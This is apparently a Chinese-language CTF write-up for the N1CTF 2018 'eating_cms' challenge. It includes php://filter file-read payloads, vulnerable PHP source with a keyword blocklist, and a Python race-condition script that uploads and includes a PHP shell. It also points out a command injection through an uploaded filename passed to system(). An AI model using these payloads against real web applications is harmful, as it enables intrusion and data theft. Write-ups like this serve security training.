摘要
竞争文件包含、命令注入、parse_url漏洞
题目是一个登录窗口
文件扫描:
.viminfo
:
注册账户登入,发现可疑的page参数:
1
| http://b1c5a1ac-726f-4d16-ac0e-e1390a3c6c18.node4.buuoj.cn:81/user.php?page=guest
|
伪协议可以读取各个文件内容:
1
| ?page=php://filter/read=convert.base64-encode/resource=
|
user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php require_once("function.php"); if( !isset( $_SESSION['user'] )){ Header("Location: index.php");
} if($_SESSION['isadmin'] === '1'){ $oper_you_can_do = $OPERATE_admin; }else{ $oper_you_can_do = $OPERATE; }
if($_SESSION['isadmin'] === '1'){ if(!isset($_GET['page']) || $_GET['page'] === ''){ $page = 'info'; }else { $page = $_GET['page']; } } else{ if(!isset($_GET['page'])|| $_GET['page'] === ''){ $page = 'guest'; }else { $page = $_GET['page']; if($page === 'info') {
Header("Location: user.php?page=guest"); } } } filter_directory();
include "$page.php"; ?>
|
应该是做了权限控制……?
updateadmin.php
1 2 3 4 5 6
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly "); } include "templates/update.html"; ?>
|
发现temlates
渲染模板。实际上,确实遇到过有的后台的模板造成文件上传的问题
扫templates:
好家伙……
确实有上传点,点击会跳转:upllloadddd.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success<br />"; echo $filename; $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); echo "<img src='data:image/png;base64,".$picdata."'></img>"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); } ?>
|
首先看到的就是竞争包含
竞争包含
这里的处理先将临时文件移动到本地目录中,再检测文件后缀,删除非法文件,感觉很典型,所以直接就做了……。
在文件删除之前去包含文件并利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import io import sys from time import sleep
import requests import threading
url_upload = "http://b1c5a1ac-726f-4d16-ac0e-e1390a3c6c18.node4.buuoj.cn:81/upllloadddd.php" url_include = "http://b1c5a1ac-726f-4d16-ac0e-e1390a3c6c18.node4.buuoj.cn/upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"
def upload(): while True: url = url_upload shell = "<?php system('cat /flag_233333');echo 'okokokok';echo __FILE__;?>" prefix = "GIF8!" con = prefix + "\n" + shell url = "http://b1c5a1ac-726f-4d16-ac0e-e1390a3c6c18.node4.buuoj.cn:81/upllloadddd.php" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'} files = { 'file': ('1.php', shell, 'image/png'), } response = requests.post(url=url, headers=headers, files=files) res = response.text print(res) sleep(0.5)
def include(): while True: filename = "1.php" url = url_include+filename res = requests.post(url=url) if res.status_code == 404 or res.status_code == 429: print("[not fount or so fast!!!] ---->"+str(res)) print("") else: if 'okokok' in res.text: print("[success!!!]") print(res.text) sys.exit(0) else: print("[some error]") sys.exit(0) sleep(0.5)
t1 = threading.Thread(target=upload) t1.daemon = True t1.start() include()
|
其实一开始还是像拿shell的,但似乎没写文件权限……upload下的文件是定期删除的……
后来发现tmp下可以写文件,又包含不进去,可能有目录限制……?也没试弹shell,直接读了……
命令注入
后来看别人的wp,我好像漏了点什么🤣
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| <?php session_start(); require_once "config.php"; function Hacker() { Header("Location: hacker.php"); die(); }
function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
function filter_directory_guest() { $keywords = ["flag","manage","ffffllllaaaaggg","info"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
function Filter($string) { global $mysqli; $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password"; $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><"; for ($i = 0; $i < strlen($string); $i++) { if (strpos("$whitelist", $string[$i]) === false) { Hacker(); } } if (preg_match("/$blacklist/is", $string)) { Hacker(); } if (is_string($string)) { return $mysqli->real_escape_string($string); } else { return ""; } }
function sql_query($sql_query) { global $mysqli; $res = $mysqli->query($sql_query); return $res; }
function login($user, $pass) { $user = Filter($user); $pass = md5($pass); $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'"; echo $sql; $res = sql_query($sql);
if ($res->num_rows) { $data = $res->fetch_array(); $_SESSION['user'] = $data[username_which_you_do_not_know]; $_SESSION['login'] = 1; $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too]; return true; } else { return false; } return; }
function updateadmin($level,$user) { $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' "; echo $sql; $res = sql_query($sql);
if ($res == 1) { return true; } else { return false; } return; }
function register($user, $pass) { global $mysqli; $user = Filter($user); $pass = md5($pass); $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')"; $res = sql_query($sql); return $mysqli->insert_id; }
function logout() { session_destroy(); Header("Location: index.php"); } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
|
这里对url
进行了关键词过滤,用的是parse_url
: parse_url函数的解释和绕过
ffffllllaaaaggg m4aaannngggeee
应该是敏感文件
?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
1 2 3 4 5 6 7 8
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); }else { echo "you can find sth in m4aaannngggeee"; } ?>
|
1 2 3 4 5 6 7
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); } include "templates/upload.html"; ?>
|
emmmm……后来大致相同,但关键在于:
upllloadddd.php
:
1
| $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
|
命令的直接拼接,造成了命令注入……就在filename……直接搞文件名就行了,好吧
🐕
参考文章:
[N1CTF 2018]eating_cms